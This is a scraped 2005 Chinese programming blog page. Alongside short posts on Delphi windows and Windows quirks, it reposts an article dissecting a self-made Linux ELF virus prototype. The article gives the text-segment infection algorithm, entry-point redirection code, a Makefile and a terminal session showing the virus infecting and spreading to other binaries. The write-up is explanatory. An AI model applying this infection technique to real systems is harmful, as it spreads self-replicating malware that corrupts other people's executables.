WebSoSo 的博客 (收集自己喜爱的编程文章,网络杂文)

来源:百度文库 编辑:神马文学网 时间:2024/04/29 13:57:08
关于作者
用户名:heiying
笔名:heiying
地区:
日历   2005年 9月 15日
日一二三四五六
123
45678910
11121314151617
18192021222324
252627282930
快速登录
+ 用户名:
+ 密 码:
我的博采我的论坛我的RSS

最新文章
IT搞笑:一名最牛的程序员的自述(爆笑)ATA标准ATA标准到底winnt是怎样进行的从用户空间堆栈数据到内核堆栈的拷贝呢?近来一直在研究winnt操作系统无奈标题栏文字变小问题寻求志同道合者怎样实现圆边窗口剖析Linux病毒原型的工作过程和关键环节
文章索引
2005年索引
在线留言
鹏飞红博:搞的不错啊,纯技术和理论的,很不懂?建议有没有娱乐点的和非专业化的技巧啊,另外,日记好象好久没写了吧! 2005-08-04 21:04:21
昵 称:
最新评论
· 怎样实现圆边窗口
就是调用了API函数实现的 · 怎样实现圆边窗口
可不可以说得具体点啊,是不是直接...... · 贵阳宽带dns
什么鸡公呀?在哪?
信息安全
访问统计: 4236
文章个数:38
评论个数:3
留言条数:1



Powered by BlogDriver 2.1
WebSoSo 的博客 (收集自己喜爱的编程文章,网络杂文)
人生无所谓永恒,我只相信现在,未来怎样,我不知道,过去我已无法改变,我只想把握住现在,真心对待每一天,努力奋斗每一天。如果愿意和本人一起探讨人生和技术请联系:QQ:89727175 .
文章
总目录|C/C++ |软件开发 |Delphi |Java |网络 |本人日记 |通信网络 |杂文 |病毒技术 |汇编 |
IT搞笑:一名最牛的程序员的自述(爆笑)
摘要:搞笑,不过也很有意思,呵呵,可以考虑考虑,哈哈查看全文
- 作者:heiying 2005年09月8日, 星期四 22:03回复(0) |引用(0)加入博采
ATA标准
这是个draft。如果想编硬盘的直接控制程序的话。可以参考以下。
- 作者:heiying 2005年09月3日, 星期六 22:26回复(0) |引用(0)加入博采
ATA标准
这是个draft。如果想编硬盘的直接控制程序的话。可以参考以下。
- 作者:heiying 2005年09月3日, 星期六 22:26回复(0) |引用(0)加入博采
到底winnt是怎样进行的从用户空间堆栈数据到内核堆栈的拷贝呢?
没事的时候就准备在这里涂鸦了,准备慢慢地把自己的学习心得放一些在这里。
- 作者:heiying 2005年09月3日, 星期六 22:17回复(0) |引用(0)加入博采
近来一直在研究winnt操作系统
这些天一直在学习winnt内核的一些东西,哎,感觉资料好少啊。希望能早日学到点自己想要的东西。所以呢,好久没来更新自己的 blog了,要做自己的网站的事也搁浅了。呵呵
- 作者:heiying 2005年09月3日, 星期六 22:13回复(0) |引用(0)加入博采
无奈
摘要:自从说不再更新以来,有好几个朋友都问我为什么,都希望继续下去。其实原因也很简单吧,因为我怕这个blog哪一天突然停止服务,这样的话,我的很多东西就可能一下子没有啦!所以我才打算去找个比较稳定的空间,而且这个blog的容量有限,功能有限,有很多的资料没法放上来。因此呢,如果可能的话,这里还是会更新,不过已经准备在年底之前,开通自己的专业网站了,目前的打算就是主要立足于: 软件开发,操作系统技术。查看全文
- 作者:heiying 2005年09月3日, 星期六 22:06回复(0) |引用(0)加入博采
标题栏文字变小问题
标题栏文字变小问题:
这个问题比较常见,具体是怎么回事好像至今也没有定论。有人说是 Win2k SP4
的 BUG、有人说是图形资源紧缺,总之好像还没有一个比较权威的解释。不过可
以肯定的是这个问题只在 Win2k SP4 上出现,在 Win2k 其它 SP 版本及 WinXP
上都没有。出现字体变小时在控制面板的外观属性里重新设置一下标题栏字体为
Tahoma、9 号、加粗就可以恢复了,但过一会儿可能又会发作。
- 作者:heiying 2005年06月13日, 星期一 11:45回复(0) |引用(0)加入博采
寻求志同道合者
好久没过来看一下自己的这个blog了,自己有很多的资料,本来是想把它好好地整理在这上面,以提供给那些需要的人。可惜,我的时间实在是不够,不过再过一段时间就要毕业了,我想,等工作了后,买个好一点的空间,准备做一个讨论编程技巧,操作系统,电信技术等的论坛或网站,如果有这方面兴趣的朋友可以联系我,我们可以一起做。最好和我一样,是刚毕业的学生,并且十分喜爱技术。如果愿意请联系QQ: 469435009 或者89727175
- 作者:heiying 2005年04月12日, 星期二 17:42回复(0) |引用(0)加入博采
怎样实现圆边窗口
怎样实现圆边窗口
作者:林少华 2005-04-08
procedure TForm1.Button1Click(Sender: TObject);
var
rgn:HRGN;
begin
BeginPath(Canvas.Handle);        //开始路径
RoundRect(Canvas.Handle,30,30,160,400,10,10); //绘制圆形矩型。其中参数依次为 设备句柄,矩型左上角X坐标,矩型左上角Y坐标,矩型右下角X坐标,矩型右下角Y坐标,圆边的宽,圆边的高。
EndPath(Canvas.Handle);
rgn:=PathToRegion(Canvas.Handle);
SetWindowRgn(Handle,rgn,true);
end;
- 作者:heiying 2005年04月9日, 星期六 16:00回复(2) |引用(0)加入博采
剖析Linux病毒原型的工作过程和关键环节
写这篇文章的目的主要是对最近写的一个Linux病毒原型代码做一个总结,同时向对这方面有兴趣的朋友做一个简单的介绍。阅读这篇文章你需要一些知识,要对ELF有所了解、能够阅读一些嵌入了汇编的C代码、了解病毒的基本工作原理。
剖析Linux病毒原型的工作过程和关键环节
一、 介绍
写这篇文章的目的主要是对最近写的一个Linux病毒原型代码做一个总结,同时向对这方面有兴趣的朋友做一个简单的介绍。阅读这篇文章你需要一些知识,要对ELF有所了解、能够阅读一些嵌入了汇编的C代码、了解病毒的基本工作原理。
二、 ELF Infector (ELF文件感染器)
为了制作病毒文件,我们需要一个ELF文件感染器,用于制造第一个带毒文件。对于ELF文件感染技术,在Silvio Cesare的《UNIX ELF PARASITES AND VIRUS》
一文中已经有了一个非常好的分析、描述,在这方面我还没有发现可以对其进行补充的地方,因此在这里我把Silvio Cesare对ELF Infection过程的总结贴出来,以供参考:
The final algorithm is using this information is.
* Increase p_shoff by PAGE_SIZE in the ELF header
* Patch the insertion code (parasite) to jump to the entry point
(original)
* Locate the text segment program header
* Modify the entry point of the ELF header to point to the new
code (p_vaddr + p_filesz)
* Increase p_filesz by account for the new code (parasite)
* Increase p_memsz to account for the new code (parasite)
* For each phdr who‘s segment is after the insertion (text segment)
* increase p_offset by PAGE_SIZE
* For the last shdr in the text segment
* increase sh_len by the parasite length
* For each shdr who‘s section resides after the insertion
* Increase sh_offset by PAGE_SIZE
* Physically insert the new code (parasite) and pad to PAGE_SIZE, into
the file - text segment p_offset + p_filesz (original)
在Linux病毒原型中所使用的gei - ELF Infector即是根据这个原理写的。在
附录中你可以看到这个感染工具的源代码: g-elf-infector.c
g-elf-infector与病毒是独立开的,其只在制作第一个病毒文件时被使用。我简单介
绍一下它的使用方法,g-elf-infector.c可以被用于任何希望--将二进制代码插入到指定文件的文本段,并在目标文件执行时首先被执行--的用途上。g-elf-infector.c的接口很简单,你只需要提供以下三个定义:
* 存放你的二进制代码返回地址的地址,这里需要的是这个地址与代码起始
地址的偏移,用于返回到目标程序的正常入口
#define PARACODE_RETADDR_ADDR_OFFSET 1232
* 要插入的二进制代码(由于用C编写,所以这里需要以一个函数的方式提供)
void parasite_code(void);
* 二进制代码的结束(为了易用,这里用一个结尾函数来进行代码长度计算)
void parasite_code_end(void);
parasite_code_end应该是parasite_code函数后的第一个函数定义,通常应该如下表示
void parasite_code(void)
{
...
...
...
}
void parasite_code_end(void) {}
在这里存在一个问题,就是编译有可能在编译时将parasite_code_end放在parasite_code
地址的前面,这样会导致计算代码长度时失败,为了避免这个问题,你可以这样做
void parasite_code(void)
{
...
...
...
}
void parasite_code_end(void) {parasite_code();}
有了这三个定义,g-elf-infector就能正确编译,编译后即可用来ELF文件感染
三、病毒原型的工作过程
1 首先通过ELF Infector将病毒代码感染到一个ELF文件,这样就创造了第一
个带毒文件,后续的传播就由它来完成。
2 当带毒文件被执行时,会首先跳到病毒代码开始执行。
3 病毒代码开始发作,在这个原型里,病毒会直接开始传播。
4 病毒遍历当前目录下的每一个文件,如果是符合条件的ELF文件就开始感染。
5 病毒的感染过程和ELF Infector的过程类似,但由于工作环境的不同,代码的实现也是有较大区别的。
6 目前传染对ELF文件的基本要求是文本段要有剩余空间能够容纳病毒代码,如果无法满足,病毒会忽略此ELF。对于被感染过一次的ELF文件,文本段将不会有剩余的空间,因此二次感染是不会发生的。
7 病毒代码执行过后,会恢复堆栈和所有寄存器(这很重要),然后跳回到真正的可执行文件入口,开始正常的运行过程。
上面对病毒原型的工作过程的介绍也许显得千篇一律了,和我们早就熟知的关于病毒的一些介绍没有什么区别?是的,的确是这样,原理都是类似的,关键是要看实现。下面我们就将通过对一些技术问题的分析来了解具体的实现思路。
四、关键技术问题及处理
1 ELF文件执行流程重定向和代码插入
在ELF文件感染的问题上,ELF Infector与病毒传播时调用的infect_virus思路是一样的:
* 定位到文本段,将病毒的代码接到文本段的尾部。这个过程的关键是要熟悉ELF文件的格式,将病毒代码复制到文本段尾部后,能够根据需要调整文本段长度改变所影响到的后续段(segment)或节(section)的虚拟地址。同时注意把新引入的文本段部分与一个.setion建立关联,防止strip这样的工具将插入的代码去除。还有一点就是要注意文本段增加长度的对齐问题,见ELF文档中的描述:
p_align
As ``Program Loading‘‘ later in this part describes, loadable
process segments must have congruent values for p_vaddr and
p_offset, modulo the page size.
* 通过过将ELF文件头中的入口地址修改为病毒代码地址来完成代码重定向:
/* Modify the entry point of the ELF */
org_entry = ehdr->e_entry;
ehdr->e_entry = phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz;
2 病毒代码如何返回到真正的ELF文件入口
方法技巧应该很多,这里采用的方法是PUSH+RET组合:
__asm__ volatile (
...
"return:\n\t"
"push $0xAABBCCDD\n\t" /* push ret_addr */
"ret\n"
::);
其中0xAABBCCDD处存放的是真正的程序入口地址,这个值在插入病毒代码时由感染程序来填写。
五、 新编译环境下的调试方法
grip2@linux:~/tmp/virus> ls
g-elf-infector.c gsyscall.h gunistd.h gvirus.c gvirus.h foo.c Makefile parasite-sample.c parasite-sample.h
调整Makefile文件,将编译模式改为调试模式,即关掉-DNDEBUG选项
grip2@linux:~/tmp/virus> cat Makefile
all: foo gei
gei: g-elf-infector.c gvirus.o
gcc -O2 $< gvirus.o -o gei -Wall #-DNDEBUG
foo: foo.c
gcc $< -o foo
gvirus.o: gvirus.c
gcc $< -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG
clean:
rm *.o -rf
rm foo -rf
rm gei -rf
编译代码
grip2@linux:~/tmp/virus> make
gcc foo.c -o foo
gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG
gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG
先获取病毒代码长度,然后调整gvirus.c中的#define PARACODE_LENGTH定义
grip2@linux:~/tmp/virus>. /gei -l <.这里获取病毒代码的长度
Parasite code length: 1744
获取病毒代码开始位置和0xaabbccdd的地址,计算存放返回地址的地址的偏移
grip2@linux:~/tmp/virus> objdump -d gei|grep aabbccdd
8049427: 68 dd cc bb aa push $0xaabbccdd
grip2@linux:~/tmp/virus> objdump -d gei|grep ""
08048d80 :
8049450: e9 2b f9 ff ff jmp 8048d80
grip2@linux:~/tmp/virus> objdump -d gei|grep ":"
08048d80 :
0x8049427与0x8048d80相减即获得我们需要的偏移,
用这个值更新gvirus.h中的#define PARACODE_RETADDR_ADDR_OFFSET宏的值
重新编译
grip2@linux:~/tmp/virus> make clean
rm *.o -rf
rm foo -rf
rm gei -rf
grip2@linux:~/tmp/virus> make
gcc foo.c -o foo
gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG
gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG
grip2@linux:~/tmp/virus> ls
gei gsyscall.h gvirus.c gvirus.o foo.c parasite-sample.c
g-elf-infector.c gunistd.h gvirus.h foo Makefile parasite-sample.h
建立一个测试目录,测试一下
grip2@linux:~/tmp/virus> mkdir test
grip2@linux:~/tmp/virus> cp gei foo test
grip2@linux:~/tmp/virus> cd test
grip2@linux:~/tmp/virus/test> ls
gei foo
grip2@linux:~/tmp/virus/test> cp foo h
制作带毒程序
grip2@linux:~/tmp/virus/test>. /gei h
file size: 8668
e_phoff: 00000034
e_shoff: 00001134
e_phentsize: 00000020
e_phnum: 00000008
e_shentsize: 00000028
e_shnum: 00000025
text segment file offset: 0
[15 sections patched]
grip2@linux:~/tmp/virus/test> ll
total 44
-rwxr-xr-x 1 grip2 users 14211 2004-12-13 07:50 gei
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h
-rwxr-xr-x 1 grip2 users 8668 2004-12-13 07:50 foo
运行带毒程序
grip2@linux:~/tmp/virus/test>. /h
.
..
gei
foo
h
.backup.h
real elf point
grip2@linux:~/tmp/virus/test> ll
total 52
-rwxr-xr-x 1 grip2 users 18307 2004-12-13 07:51 gei
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 foo
测试上面带毒程序运行后,是否感染了其他ELF程序
grip2@linux:~/tmp/virus/test>. /foo
.
..
gei
Better luck next file
foo
h
Better luck next file
.backup.h
Better luck next file
real elf point
OK,成功
grip2@linux:~/tmp/virus/test> cp. ./foo hh
grip2@linux:~/tmp/virus/test> ll
total 64
-rwxr-xr-x 1 grip2 users 18307 2004-12-13 07:51 gei
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h
-rwxr-xr-x 1 grip2 users 8668 2004-12-13 07:51 hh
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 foo
grip2@linux:~/tmp/virus/test>. /foo
.
..
gei
Better luck next file
foo
h
Better luck next file
.backup.h
Better luck next file
hh
real elf point
grip2@linux:~/tmp/virus/test>
六、总结
由于我既不是一个virus coder也不是一个anti-viruscoder,所以对病毒技术的掌握应该是有欠缺的。如果在文章中对病毒技术的描述不够准确,分析不够到位,还请指正,谢谢。
七、参考文献
1 Silvio Cesare 的《UNIX ELF PARASITES AND VIRUS》
2 ELF文档
3 更多的安全技术交流
http://www.linuxforum.net/forum/showflat.php?Cat=&Board=security&
Number=479955&page=0&view=collapsed&sb=5&o=31&fpart=
- 作者:heiying 2005年03月19日, 星期六 11:56回复(0) |引用(0)加入博采
Copyright©2003-2004 BlogChina.COM All rights reserved
_xyz